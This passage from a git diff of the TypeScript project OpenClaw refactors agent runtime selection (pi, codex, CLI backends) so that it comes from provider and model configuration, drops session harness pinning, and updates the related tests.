{ - return { - id: defaultsRuntime, - source: "defaults", - }; - } - return { - id: "pi", + id: "auto", source: "implicit", }; } + +export function resolveModelAgentRuntimeMetadata(params: { + cfg: OpenClawConfig; + agentId: string; + provider?: string; + model?: string; + sessionKey?: string; +}): AgentRuntimeMetadata { + const resolved = + params.provider && params.model + ? { provider: params.provider, model: params.model } + : resolveDefaultModelForAgent({ cfg: params.cfg, agentId: params.agentId }); + const policy = resolveAgentHarnessPolicy({ + provider: resolved.provider, + modelId: resolved.model, + config: params.cfg, + agentId: params.agentId, + sessionKey: params.sessionKey, + }); + return { + id: policy.runtime, + source: policy.runtimeSource ?? "implicit", + }; +} diff --git a/src/agents/agent-runtime-policy.ts b/src/agents/agent-runtime-policy.ts deleted file mode 100644 index de49c16394f..00000000000 --- a/src/agents/agent-runtime-policy.ts +++ /dev/null @@ -1,19 +0,0 @@ -import type { AgentRuntimePolicyConfig } from "../config/types.agents-shared.js"; - -type AgentRuntimePolicyContainer = { - agentRuntime?: AgentRuntimePolicyConfig; -}; - -export function resolveAgentRuntimePolicy( - container: AgentRuntimePolicyContainer | undefined, -): AgentRuntimePolicyConfig | undefined { - const preferred = container?.agentRuntime; - if (hasAgentRuntimePolicy(preferred)) { - return preferred; - } - return undefined; -} - -function hasAgentRuntimePolicy(value: AgentRuntimePolicyConfig | undefined): boolean { - return Boolean(value?.id?.trim()); -} diff --git a/src/agents/auth-profile-runtime-contract.test.ts b/src/agents/auth-profile-runtime-contract.test.ts index a57398f00e6..ad0b6b9b6d4 100644 --- a/src/agents/auth-profile-runtime-contract.test.ts +++ b/src/agents/auth-profile-runtime-contract.test.ts @@ -124,6 +124,20 @@ function makeEmbeddedResult(text: string): EmbeddedPiRunResult { }; } +function providerRuntimeConfig(provider: string, runtime: string): OpenClawConfig { + return { + models: { + providers: { + [provider]: { + baseUrl: "https://api.openclaw.test/v1", + agentRuntime: { id: runtime }, + models: [], + }, + }, + }, + } as OpenClawConfig; +} + async function runAuthContractAttempt(params: { tmpDir: string; storePath: string; @@ -301,9 +315,13 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, cfg: { - agents: { - defaults: { - agentRuntime: { id: "codex" }, + models: { + providers: { + [AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider]: { + baseUrl: "https://api.openclaw.test/v1", + agentRuntime: { id: "codex" }, + models: [], + }, }, }, } as OpenClawConfig, @@ -355,19 +373,12 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { providerOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProfileId, - cfg: { - agents: { - defaults: { - agentRuntime: { id: "pi" }, - }, - }, - } as OpenClawConfig, + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "pi"), }); expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ provider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, - agentHarnessId: "pi", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProfileId, }); }); @@ -383,7 +394,6 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ - agentHarnessId: "codex", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, }); }); @@ -395,19 +405,12 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { providerOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, - cfg: { - agents: { - defaults: { - agentRuntime: { id: "pi" }, - }, - }, - } as OpenClawConfig, + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "pi"), }); expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ provider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, - agentHarnessId: "pi", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, }); }); @@ -419,18 +422,11 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { providerOverride: AUTH_PROFILE_RUNTIME_CONTRACT.codexHarnessProvider, authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, - cfg: { - agents: { - defaults: { - agentRuntime: { id: "codex" }, - }, - }, - } as OpenClawConfig, + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.codexHarnessProvider, "codex"), }); expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ - agentHarnessId: "codex", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, }); }); @@ -442,18 +438,11 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { providerOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, - cfg: { - agents: { - defaults: { - agentRuntime: { id: "codex" }, - }, - }, - } as OpenClawConfig, + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "codex"), }); expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ - agentHarnessId: "codex", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, }); }); @@ -466,21 +455,11 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, sessionHasHistory: true, - cfg: { - agents: { - list: [ - { - id: "main", - agentRuntime: { id: "codex" }, - }, - ], - }, - } as OpenClawConfig, + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "codex"), }); expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ - agentHarnessId: "codex", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, }); }); diff --git a/src/agents/auth-profiles.external-cli-scope.test.ts b/src/agents/auth-profiles.external-cli-scope.test.ts index e2f064356b0..dda56ae74fd 100644 --- a/src/agents/auth-profiles.external-cli-scope.test.ts +++ b/src/agents/auth-profiles.external-cli-scope.test.ts @@ -62,7 +62,9 @@ describe("external CLI auth scope", () => { { id: "worker", model: "opencode-go/kimi-k2.6", - agentRuntime: { id: "codex-app-server" }, + models: { + "opencode-go/kimi-k2.6": { agentRuntime: { id: "codex-app-server" } }, + }, subagents: { model: { primary: "z.ai/glm-4.7" } }, }, ], @@ -92,10 +94,12 @@ describe("external CLI auth scope", () => { agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { id: "claude-cli" }, cliBackends: { "claude-cli": { command: "claude" }, }, + models: { + "openai/gpt-5.5": { agentRuntime: { id: "claude-cli" } }, + }, }, }, }); diff --git a/src/agents/auth-profiles/external-cli-scope.ts b/src/agents/auth-profiles/external-cli-scope.ts index 3ab0158c845..62796b0ac3a 100644 --- a/src/agents/auth-profiles/external-cli-scope.ts +++ b/src/agents/auth-profiles/external-cli-scope.ts @@ -58,6 +58,15 @@ function addExternalCliRuntimeScope(out: Set, value: string | undefined) } } +function addExternalCliRuntimeScopeFromModelMap( + out: Set, + models: Record | undefined, +): void { + for (const entry of Object.values(models ?? {})) { + addExternalCliRuntimeScope(out, entry?.agentRuntime?.id); + } +} + export function resolveExternalCliAuthScopeFromConfig( cfg: OpenClawConfig, ): ExternalCliAuthScope | undefined { @@ -91,14 +100,18 @@ export function resolveExternalCliAuthScopeFromConfig( addProviderScopeFromModelConfig(providerIds, defaults?.videoGenerationModel); addProviderScopeFromModelConfig(providerIds, defaults?.musicGenerationModel); addProviderScopeFromModelConfig(providerIds, defaults?.pdfModel); - addExternalCliRuntimeScope(providerIds, defaults?.agentRuntime?.id); - addExternalCliRuntimeScope(providerIds, defaults?.embeddedHarness?.runtime); + addExternalCliRuntimeScopeFromModelMap(providerIds, defaults?.models); + for (const provider of Object.values(cfg.models?.providers ?? {})) { + addExternalCliRuntimeScope(providerIds, provider?.agentRuntime?.id); + for (const model of provider?.models ?? []) { + addExternalCliRuntimeScope(providerIds, model?.agentRuntime?.id); + } + } for (const agent of cfg.agents?.list ?? []) { addProviderScopeFromModelConfig(providerIds, agent.model); addProviderScopeFromModelConfig(providerIds, agent.subagents?.model); - addExternalCliRuntimeScope(providerIds, agent.agentRuntime?.id); - addExternalCliRuntimeScope(providerIds, agent.embeddedHarness?.runtime); + addExternalCliRuntimeScopeFromModelMap(providerIds, agent.models); } if (providerIds.size === 0 && profileIds.size === 0) { diff --git a/src/agents/btw.ts b/src/agents/btw.ts index 4793536830b..4bcf0fc0aca 100644 --- a/src/agents/btw.ts +++ b/src/agents/btw.ts @@ -256,8 +256,6 @@ async function resolveRuntimeModel(params: { agentId: params.agentId, sessionKey: params.sessionKey, }).runtime, - sessionAgentHarnessId: params.sessionEntry?.agentHarnessId, - sessionAgentRuntimeOverride: params.sessionEntry?.agentRuntimeOverride, }), agentDir: params.agentDir, sessionEntry: params.sessionEntry, diff --git a/src/agents/command/attempt-execution.cli.test.ts b/src/agents/command/attempt-execution.cli.test.ts index 488e720b391..ebb71c0c3d4 100644 --- a/src/agents/command/attempt-execution.cli.test.ts +++ b/src/agents/command/attempt-execution.cli.test.ts @@ -653,7 +653,9 @@ describe("CLI attempt execution", () => { cfg: { agents: { defaults: { - agentRuntime: { id: "claude-cli" }, + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, }, }, } as OpenClawConfig, @@ -708,7 +710,9 @@ describe("CLI attempt execution", () => { cfg: { agents: { defaults: { - agentRuntime: { id: "codex-cli" }, + models: { + "openai/gpt-5.4": { agentRuntime: { id: "codex-cli" } }, + }, }, }, } as OpenClawConfig, @@ -890,7 +894,7 @@ describe("embedded attempt harness pinning", () => { await fs.rm(tmpDir, { recursive: true, force: true }); }); - it("treats legacy OpenAI sessions with history as Codex-pinned", async () => { + it("does not store a session harness pin for default OpenAI Codex routing", async () => { const sessionEntry: SessionEntry = { sessionId: "legacy-session", updatedAt: Date.now(), @@ -929,12 +933,57 @@ describe("embedded attempt harness pinning", () => { expect(runEmbeddedPiAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentHarnessId: "codex", + agentHarnessId: undefined, }), ); }); - it("pins sessions with history to the configured Codex harness instead of PI", async () => { + it("ignores stale session Codex harness pins on non-OpenAI model switches", async () => { + const sessionEntry: SessionEntry = { + sessionId: "mixed-provider-session", + updatedAt: Date.now(), + agentHarnessId: "codex", + }; + runEmbeddedPiAgentMock.mockResolvedValueOnce({ + meta: { durationMs: 1 }, + } satisfies EmbeddedPiRunResult); + + await runAgentAttempt({ + providerOverride: "minimax", + originalProvider: "minimax", + modelOverride: "minimax-m2.7", + cfg: {} as OpenClawConfig, + sessionEntry, + sessionId: sessionEntry.sessionId, + sessionKey: "agent:main:main", + sessionAgentId: "main", + sessionFile: path.join(tmpDir, "session.jsonl"), + workspaceDir: tmpDir, + body: "switch to minimax", + isFallbackRetry: false, + resolvedThinkLevel: "medium", + timeoutMs: 1_000, + runId: "run-mixed-provider-auto-runtime", + opts: { senderIsOwner: false } as Parameters[0]["opts"], + runContext: {} as Parameters[0]["runContext"], + spawnedBy: undefined, + messageChannel: undefined, + skillsSnapshot: undefined, + resolvedVerboseLevel: undefined, + agentDir: tmpDir, + onAgentEvent: vi.fn(), + authProfileProvider: "minimax", + sessionHasHistory: true, + }); + + expect(runEmbeddedPiAgent).toHaveBeenCalledWith( + expect.objectContaining({ + agentHarnessId: undefined, + }), + ); + }); + + it("lets provider/model runtime policy choose Codex without storing a session harness pin", async () => { const sessionEntry: SessionEntry = { sessionId: "codex-history-session", updatedAt: Date.now(), @@ -948,9 +997,13 @@ describe("embedded attempt harness pinning", () => { originalProvider: "codex", modelOverride: "gpt-5.4", cfg: { - agents: { - defaults: { - agentRuntime: { id: "codex" }, + models: { + providers: { + codex: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "codex" }, + models: [], + }, }, }, } as OpenClawConfig, @@ -979,7 +1032,7 @@ describe("embedded attempt harness pinning", () => { expect(runEmbeddedPiAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentHarnessId: "codex", + agentHarnessId: undefined, }), ); }); @@ -1038,7 +1091,7 @@ describe("embedded attempt harness pinning", () => { expect(runEmbeddedPiAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentHarnessId: "codex", + agentHarnessId: undefined, authProfileId: "openai-codex:work", authProfileIdSource: "auto", }), @@ -1084,12 +1137,12 @@ describe("embedded attempt harness pinning", () => { expect(runEmbeddedPiAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentHarnessId: "codex", + agentHarnessId: undefined, }), ); }); - it("repairs stale OpenAI sessions pinned to PI back to the default Codex harness", async () => { + it("ignores stale OpenAI sessions pinned to PI and relies on default Codex routing", async () => { const sessionEntry: SessionEntry = { sessionId: "stale-pi-session", updatedAt: Date.now(), @@ -1130,7 +1183,7 @@ describe("embedded attempt harness pinning", () => { expect(runEmbeddedPiAgentMock).toHaveBeenCalledWith( expect.objectContaining({ provider: "openai", - agentHarnessId: "codex", + agentHarnessId: undefined, }), ); }); @@ -1151,9 +1204,13 @@ describe("embedded attempt harness pinning", () => { originalProvider: "openai", modelOverride: "gpt-5.4", cfg: { - agents: { - defaults: { - agentRuntime: { id: "pi" }, + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "pi" }, + models: [], + }, }, }, } as OpenClawConfig, @@ -1184,7 +1241,7 @@ describe("embedded attempt harness pinning", () => { expect.objectContaining({ provider: "openai-codex", model: "gpt-5.4", - agentHarnessId: "pi", + agentHarnessId: undefined, authProfileId: "openai-codex:work", authProfileIdSource: "user", }), diff --git a/src/agents/command/attempt-execution.ts b/src/agents/command/attempt-execution.ts index 53c697dc3c6..c45db13622b 100644 --- a/src/agents/command/attempt-execution.ts +++ b/src/agents/command/attempt-execution.ts @@ -21,10 +21,9 @@ import { runCliAgent } from "../cli-runner.js"; import { getCliSessionBinding, setCliSessionBinding } from "../cli-session.js"; import { FailoverError } from "../failover-error.js"; import { resolveAgentHarnessPolicy } from "../harness/selection.js"; -import { isCliRuntimeAlias, resolveCliRuntimeExecutionProvider } from "../model-runtime-aliases.js"; +import { resolveCliRuntimeExecutionProvider } from "../model-runtime-aliases.js"; import { isCliProvider } from "../model-selection.js"; -import { isOpenAIProvider, resolveOpenAIRuntimeProviderForPi } from "../openai-codex-routing.js"; -import { normalizeEmbeddedAgentRuntime } from "../pi-embedded-runner/runtime.js"; +import { resolveOpenAIRuntimeProviderForPi } from "../openai-codex-routing.js"; import { runEmbeddedPiAgent, type EmbeddedPiRunResult } from "../pi-embedded.js"; import { buildAgentRuntimeAuthPlan } from "../runtime-plan/auth.js"; import { @@ -409,28 +408,14 @@ export function runAgentAttempt(params: { ); const bootstrapPromptWarningSignature = bootstrapPromptWarningSignaturesSeen[bootstrapPromptWarningSignaturesSeen.length - 1]; - const sessionPinnedAgentHarnessId = isRawModelRun - ? "pi" - : resolveSessionPinnedAgentHarnessId({ - cfg: params.cfg, - sessionAgentId: params.sessionAgentId, - sessionEntry: params.sessionEntry, - sessionHasHistory: params.sessionHasHistory, - sessionId: params.sessionId, - sessionKey: params.sessionKey ?? params.sessionId, - provider: params.providerOverride, - modelId: params.modelOverride, - }); - const agentRuntimeOverride = isRawModelRun - ? undefined - : params.sessionEntry?.agentRuntimeOverride?.trim(); + const requestedAgentHarnessId = isRawModelRun ? "pi" : undefined; const cliExecutionProvider = isRawModelRun ? params.providerOverride : (resolveCliRuntimeExecutionProvider({ provider: params.providerOverride, cfg: params.cfg, agentId: params.sessionAgentId, - runtimeOverride: agentRuntimeOverride, + modelId: params.modelOverride, }) ?? params.providerOverride); const agentHarnessPolicy = isRawModelRun ? ({ runtime: "pi" } as const) @@ -449,7 +434,7 @@ export function runAgentAttempt(params: { authProfileProvider: params.authProfileProvider, sessionAuthProfileId: params.sessionEntry?.authProfileOverride, sessionAuthProfileSource: params.sessionEntry?.authProfileOverrideSource, - harnessId: sessionPinnedAgentHarnessId, + harnessId: requestedAgentHarnessId, harnessRuntime: agentHarnessPolicy.runtime, allowHarnessAuthProfileForwarding: !isCliProvider(cliExecutionProvider, params.cfg), }); @@ -459,7 +444,7 @@ export function runAgentAttempt(params: { sessionAuthProfileId: harnessAuthSelection.authProfileId, config: params.cfg, workspaceDir: params.workspaceDir, - harnessId: sessionPinnedAgentHarnessId, + harnessId: requestedAgentHarnessId, harnessRuntime: agentHarnessPolicy.runtime, allowHarnessAuthProfileForwarding: !isCliProvider(cliExecutionProvider, params.cfg), }); @@ -467,7 +452,7 @@ export function runAgentAttempt(params: { const embeddedPiProvider = resolveOpenAIRuntimeProviderForPi({ provider: params.providerOverride, harnessRuntime: agentHarnessPolicy.runtime, - agentHarnessId: sessionPinnedAgentHarnessId, + agentHarnessId: requestedAgentHarnessId, authProfileProvider: runtimeAuthPlan.authProfileProviderForAuth, authProfileId, config: params.cfg, @@ -618,7 +603,7 @@ export function runAgentAttempt(params: { sessionFile: params.sessionFile, workspaceDir: params.workspaceDir, config: params.cfg, - agentHarnessId: sessionPinnedAgentHarnessId, + agentHarnessId: requestedAgentHarnessId, skillsSnapshot: params.skillsSnapshot, prompt: effectivePrompt, images: params.isFallbackRetry ? undefined : params.opts.images, @@ -656,72 +641,6 @@ export function runAgentAttempt(params: { }); } -function resolveSessionPinnedAgentHarnessId(params: { - cfg: OpenClawConfig; - sessionAgentId: string; - sessionEntry?: SessionEntry; - sessionHasHistory?: boolean; - sessionId: string; - sessionKey: string; - provider: string; - modelId?: string; -}): string | undefined { - if (params.sessionEntry?.sessionId !== params.sessionId) { - return resolveConfiguredAgentHarnessId(params); - } - if (params.sessionEntry.agentHarnessId) { - if (isOpenAIProvider(params.provider)) { - const configuredPolicy = resolveAgentHarnessPolicy({ - config: params.cfg, - agentId: params.sessionAgentId, - sessionKey: params.sessionKey, - provider: params.provider, - modelId: params.modelId, - }); - const configuredAgentHarnessId = - configuredPolicy.runtime === "auto" || isCliRuntimeAlias(configuredPolicy.runtime) - ? undefined - : configuredPolicy.runtime; - const storedRuntime = normalizeEmbeddedAgentRuntime(params.sessionEntry.agentHarnessId); - if (configuredAgentHarnessId && configuredPolicy.runtimeSource !== "implicit") { - return configuredAgentHarnessId; - } - if (storedRuntime === "pi" && configuredAgentHarnessId) { - return configuredAgentHarnessId; - } - } - return params.sessionEntry.agentHarnessId; - } - const configuredAgentHarnessId = resolveConfiguredAgentHarnessId(params); - if (configuredAgentHarnessId) { - return configuredAgentHarnessId; - } - if (!params.sessionHasHistory) { - return undefined; - } - return "pi"; -} - -function resolveConfiguredAgentHarnessId(params: { - cfg: OpenClawConfig; - sessionAgentId: string; - sessionKey: string; - provider: string; - modelId?: string; -}): string | undefined { - const policy = resolveAgentHarnessPolicy({ - config: params.cfg, - agentId: params.sessionAgentId, - sessionKey: params.sessionKey, - provider: params.provider, - modelId: params.modelId, - }); - if (policy.runtime === "auto" || isCliRuntimeAlias(policy.runtime)) { - return undefined; - } - return policy.runtime; -} - export function buildAcpResult(params: { payloadText: string; startedAt: number; diff --git a/src/agents/harness-runtimes.ts b/src/agents/harness-runtimes.ts index e973ecf5fae..bfdf17b02c0 100644 --- a/src/agents/harness-runtimes.ts +++ b/src/agents/harness-runtimes.ts @@ -1,10 +1,10 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeOptionalLowercaseString } from "../shared/string-coerce.js"; import { isRecord } from "../utils.js"; -import { resolveAgentRuntimePolicy } from "./agent-runtime-policy.js"; -import { isCliRuntimeAlias } from "./model-runtime-aliases.js"; +import { resolveModelRuntimePolicy } from "./model-runtime-policy.js"; import { modelSelectionShouldEnsureCodexPlugin } from "./openai-codex-routing.js"; import { normalizeEmbeddedAgentRuntime } from "./pi-embedded-runner/runtime.js"; +import { normalizeProviderId } from "./provider-id.js"; function normalizeRuntimeId(value: unknown): string | undefined { if (typeof value !== "string") { @@ -38,20 +38,73 @@ function listAgentModelRefs(value: unknown): string[] { return refs; } -function hasOpenAIModelRef(config: OpenClawConfig, value: unknown): boolean { +function parseConfiguredModelRef( + value: unknown, +): { provider: string; modelId: string } | undefined { + if (typeof value !== "string") { + return undefined; + } + const trimmed = value.trim(); + const slash = trimmed.indexOf("/"); + if (slash <= 0 || slash >= trimmed.length - 1) { + return undefined; + } + return { + provider: normalizeProviderId(trimmed.slice(0, slash)), + modelId: trimmed.slice(slash + 1).trim(), + }; +} + +function hasOpenAIModelRef(config: OpenClawConfig, value: unknown, agentId?: string): boolean { return listAgentModelRefs(value).some((ref) => { - return modelSelectionShouldEnsureCodexPlugin({ model: ref, config }); + if (!modelSelectionShouldEnsureCodexPlugin({ model: ref, config })) { + return false; + } + const parsed = parseConfiguredModelRef(ref); + const policy = resolveModelRuntimePolicy({ + config, + provider: parsed?.provider, + modelId: parsed?.modelId, + agentId, + }); + const runtime = normalizeRuntimeId(policy.policy?.id); + return !runtime || runtime === "auto" || runtime === "codex"; }); } -function openAIModelUsesImplicitCodexHarness(runtime: string | undefined): boolean { - if (!runtime || runtime === "auto") { - return true; +function pushConfiguredModelRuntimeIds(config: OpenClawConfig, runtimes: Set): void { + for (const providerConfig of Object.values(config.models?.providers ?? {})) { + const providerRuntime = normalizeRuntimeId(providerConfig?.agentRuntime?.id); + if (providerRuntime && providerRuntime !== "auto" && providerRuntime !== "pi") { + runtimes.add(providerRuntime); + } + for (const modelConfig of providerConfig?.models ?? []) { + const modelRuntime = normalizeRuntimeId(modelConfig?.agentRuntime?.id); + if (modelRuntime && modelRuntime !== "auto" && modelRuntime !== "pi") { + runtimes.add(modelRuntime); + } + } } - if (runtime === "pi") { - return false; + const pushModelMapRuntimeIds = (models: unknown) => { + if (!isRecord(models)) { + return; + } + for (const entry of Object.values(models)) { + if (!isRecord(entry)) { + continue; + } + const runtime = normalizeRuntimeId( + isRecord(entry.agentRuntime) ? entry.agentRuntime.id : undefined, + ); + if (runtime && runtime !== "auto" && runtime !== "pi") { + runtimes.add(runtime); + } + } + }; + pushModelMapRuntimeIds(config.agents?.defaults?.models); + for (const agent of config.agents?.list ?? []) { + pushModelMapRuntimeIds(agent.models); } - return runtime === "codex" || isCliRuntimeAlias(runtime); } export function collectConfiguredAgentHarnessRuntimes( @@ -59,40 +112,27 @@ export function collectConfiguredAgentHarnessRuntimes( env: NodeJS.ProcessEnv, ): string[] { const runtimes = new Set(); - const pushRuntime = (value: unknown) => { - const normalized = normalizeRuntimeId(value); - if (!normalized || normalized === "auto" || normalized === "pi") { - return; - } - runtimes.add(normalized); - }; - const pushCodexForOpenAIModel = (model: unknown, runtime: string | undefined) => { - if (hasOpenAIModelRef(config, model) && openAIModelUsesImplicitCodexHarness(runtime)) { + const pushCodexForOpenAIModel = (model: unknown, agentId?: string) => { + if (hasOpenAIModelRef(config, model, agentId)) { runtimes.add("codex"); } }; - const envRuntime = normalizeRuntimeId(env.OPENCLAW_AGENT_RUNTIME); - const defaultsRuntime = normalizeRuntimeId( - resolveAgentRuntimePolicy(config.agents?.defaults)?.id, - ); + void env; + pushConfiguredModelRuntimeIds(config, runtimes); const defaultsModel = config.agents?.defaults?.model; - pushRuntime(defaultsRuntime); - pushCodexForOpenAIModel(defaultsModel, envRuntime ?? defaultsRuntime); + pushCodexForOpenAIModel(defaultsModel); if (Array.isArray(config.agents?.list)) { for (const agent of config.agents.list) { if (!isRecord(agent)) { continue; } - const agentRuntime = normalizeRuntimeId(resolveAgentRuntimePolicy(agent)?.id); - pushRuntime(agentRuntime); pushCodexForOpenAIModel( agent.model ?? defaultsModel, - envRuntime ?? agentRuntime ?? defaultsRuntime, + typeof agent.id === "string" ? agent.id : undefined, ); } } - pushRuntime(envRuntime); return [...runtimes].toSorted((left, right) => left.localeCompare(right)); } diff --git a/src/agents/harness/policy.ts b/src/agents/harness/policy.ts new file mode 100644 index 00000000000..c931b606591 --- /dev/null +++ b/src/agents/harness/policy.ts @@ -0,0 +1,56 @@ +import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import { resolveModelRuntimePolicy } from "../model-runtime-policy.js"; +import { + isOpenAICodexProvider, + openAIProviderUsesCodexRuntimeByDefault, +} from "../openai-codex-routing.js"; +import { + normalizeEmbeddedAgentRuntime, + type EmbeddedAgentRuntime, +} from "../pi-embedded-runner/runtime.js"; + +export type AgentHarnessPolicy = { + runtime: EmbeddedAgentRuntime; + runtimeSource?: "model" | "provider" | "implicit"; +}; + +export function resolveAgentHarnessPolicy(params: { + provider?: string; + modelId?: string; + config?: OpenClawConfig; + agentId?: string; + sessionKey?: string; + env?: NodeJS.ProcessEnv; +}): AgentHarnessPolicy { + const configured = resolveModelRuntimePolicy({ + config: params.config, + provider: params.provider, + modelId: params.modelId, + agentId: params.agentId, + sessionKey: params.sessionKey, + }); + const configuredRuntime = configured.policy?.id?.trim(); + const runtimeSource = configured.source ?? "implicit"; + const runtime = + configuredRuntime && configuredRuntime !== "default" + ? normalizeEmbeddedAgentRuntime(configuredRuntime) + : "auto"; + if ( + openAIProviderUsesCodexRuntimeByDefault({ provider: params.provider, config: params.config }) + ) { + if (runtime === "auto") { + return { runtime: "codex", runtimeSource }; + } + return { runtime, runtimeSource }; + } + if (isOpenAICodexProvider(params.provider)) { + if (runtime === "auto") { + return { runtime: "codex", runtimeSource }; + } + return { runtime, runtimeSource }; + } + return { + runtime, + runtimeSource, + }; +} diff --git a/src/agents/harness/selection.test.ts b/src/agents/harness/selection.test.ts index 72085a5e421..faff2b5b991 100644 --- a/src/agents/harness/selection.test.ts +++ b/src/agents/harness/selection.test.ts @@ -110,20 +110,58 @@ function registerSuccessfulCodexHarness(): void { ); } +function providerRuntimeConfig(provider: string, runtime: string): OpenClawConfig { + return { + models: { + providers: { + [provider]: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: runtime }, + models: [], + }, + }, + }, + } as OpenClawConfig; +} + +function agentModelRuntimeConfig( + modelRef: string, + runtime: string, + agentId?: string, +): OpenClawConfig { + if (agentId) { + return { + agents: { + list: [ + { id: "main", default: true }, + { id: agentId, models: { [modelRef]: { agentRuntime: { id: runtime } } } }, + ], + }, + } as OpenClawConfig; + } + return { + agents: { + defaults: { + models: { + [modelRef]: { agentRuntime: { id: runtime } }, + }, + }, + }, + } as OpenClawConfig; +} + describe("runAgentHarnessAttempt", () => { it("fails when a forced plugin harness is unavailable and fallback is omitted", async () => { process.env.OPENCLAW_AGENT_RUNTIME = "codex"; - await expect(runAgentHarnessAttempt(createAttemptParams())).rejects.toThrow( - 'Requested agent harness "codex" is not registered.', - ); + await expect( + runAgentHarnessAttempt(createAttemptParams(providerRuntimeConfig("codex", "codex"))), + ).rejects.toThrow('Requested agent harness "codex" is not registered.'); expect(piRunAttempt).not.toHaveBeenCalled(); }); it("falls back to the PI harness in auto mode when no plugin harness matches", async () => { - const result = await runAgentHarnessAttempt( - createAttemptParams({ agents: { defaults: { agentRuntime: { id: "auto" } } } }), - ); + const result = await runAgentHarnessAttempt(createAttemptParams()); expect(result.sessionIdUsed).toBe("pi"); expect(piRunAttempt).toHaveBeenCalledTimes(1); @@ -132,30 +170,26 @@ describe("runAgentHarnessAttempt", () => { it("surfaces an auto-selected plugin harness failure instead of replaying through PI", async () => { registerFailingCodexHarness(); - await expect( - runAgentHarnessAttempt( - createAttemptParams({ agents: { defaults: { agentRuntime: { id: "auto" } } } }), - ), - ).rejects.toThrow("codex startup failed"); + await expect(runAgentHarnessAttempt(createAttemptParams())).rejects.toThrow( + "codex startup failed", + ); expect(piRunAttempt).not.toHaveBeenCalled(); }); - it("uses PI by default even when plugin harnesses would support the model", async () => { + it("auto-selects a supporting plugin harness by default", async () => { registerFailingCodexHarness(); - const result = await runAgentHarnessAttempt(createAttemptParams()); - - expect(result.sessionIdUsed).toBe("pi"); - expect(piRunAttempt).toHaveBeenCalledTimes(1); + await expect(runAgentHarnessAttempt(createAttemptParams())).rejects.toThrow( + "codex startup failed", + ); + expect(piRunAttempt).not.toHaveBeenCalled(); }); it("surfaces a forced plugin harness failure instead of replaying through PI", async () => { registerFailingCodexHarness(); await expect( - runAgentHarnessAttempt( - createAttemptParams({ agents: { defaults: { agentRuntime: { id: "codex" } } } }), - ), + runAgentHarnessAttempt(createAttemptParams(providerRuntimeConfig("codex", "codex"))), ).rejects.toThrow("codex startup failed"); expect(piRunAttempt).not.toHaveBeenCalled(); }); @@ -178,9 +212,7 @@ describe("runAgentHarnessAttempt", () => { it("honors explicit PI runtime for OpenAI 